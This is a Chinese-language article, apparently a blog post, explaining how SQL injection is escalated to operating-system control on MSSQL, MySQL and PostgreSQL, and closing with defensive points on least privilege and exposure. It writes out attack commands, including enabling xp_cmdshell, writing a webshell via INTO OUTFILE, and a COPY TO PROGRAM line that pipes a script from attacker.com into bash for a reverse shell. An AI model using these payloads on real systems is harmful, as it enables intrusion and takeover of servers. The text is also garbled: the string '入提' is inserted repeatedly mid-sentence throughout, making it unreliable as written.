2019年，入提某政务系统的入提一次等保测评中，安全工程师只用了两条URL就拿到了数据库的入提sysadmin权限。不是入提靠漏洞利用工具，就是入提最原始的sql注入——单引号报错，然后union select把shell写进了网站根目录。入提整个过程不到十分钟。入提这件事说明一个被很多人忽略的入提事实：sql注入从来不只是"读数据"的问题，它可以直接变成操作系统级别的入提控制权。
要理解注入提权，入提得先搞清楚数据库在系统里到底是入提什么角色。很多人把数据库当成一个被动存储的入提仓库，但现实中它往往跑在独立的入提服务器上，拥有自己的入提服务账户、文件系统权限、入提甚至网络访问能力。MSSQL的xp_cmdshell、MySQL的INTO OUTFILE、Oracle的Java存储过程——这些功能本意是方便管理，但一旦注入点被攻击者拿到，它们就成了从数据库跳到操作系统的跳板。
从注入点到命令执行
MSSQL是最典型的场景。假设一个登录框存在注入，攻击者先确认权限：and 1=(select is_srvrolemember('sysadmin'))。返回正常说明当前连接账户是sysadmin。接下来启用xp_cmdshell：exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure。然后直接执行系统命令：exec xp_cmdshell 'whoami'。到这里，数据库的边界已经不存在了。
MySQL的路子不太一样。它没有xp_cmdshell这种直接执行命令的存储过程，但INTO OUTFILE可以写文件。如果secure_file_priv没有限制，攻击者能往网站目录写一个webshell。我见过一个案例，目标站点的数据库和web服务在同一台机器上，注入点写入了select '' into outfile '/var/www/html/shell.php'，然后直接蚁剑连接。整个过程数据库只充当了一个文件写入的中转站。
提权路上的真实障碍
不是每次都能这么顺利。MySQL的secure_file_priv默认在5.7之后设为NULL，直接堵死了写文件的路。MSSQL的xp_cmdshell在2005之后默认关闭，需要sysadmin权限才能重新启用。Oracle的Java权限在11g之后收得很紧。这些限制确实增加了难度，但没改变本质——只要注入点存在且当前数据库账户有足够权限，提权只是时间问题。
更隐蔽的做法是通过数据库的扩展功能。PostgreSQL的COPY TO PROGRAM在9.3之前可以直接执行命令，后来需要超级用户权限。但很多运维为了图方便，给应用账户开了超级用户。一个电商网站的后台注入点，当前账户是postgres超级用户，攻击者用COPY (select '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'直接反弹了shell。这种利用方式连webshell都不需要写。
防御的误区
很多人以为参数化查询就万事大吉。参数化确实能防住绝大多数注入，但它防不住"数据库账户权限过大"这个根本问题。如果应用连接数据库用的是sa或root，即使没有注入，一个配置泄露就能导致全盘失守。最小权限原则说了十几年，实际部署中真正做到的不到三成。我审计过的系统里，超过一半的应用数据库账户拥有远超业务需要的权限——能读系统表、能写文件、能执行存储过程。
另一个被忽视的点是数据库服务的网络暴露面。MSSQL的1433端口如果对公网开放，弱口令加上xp_cmdshell就是一条完整的攻击链。2017年爆发的MongoDB勒索事件本质上是同一个逻辑：数据库服务直接暴露，认证缺失，攻击者连注入都不需要。
说到底，sql注入提权的核心矛盾在于：数据库被赋予了太多它本不该有的能力。一个只负责存订单的表，凭什么能调用操作系统命令？一个只读的报表账户，凭什么能写文件到web目录？把数据库当操作系统用，出事只是早晚的问题。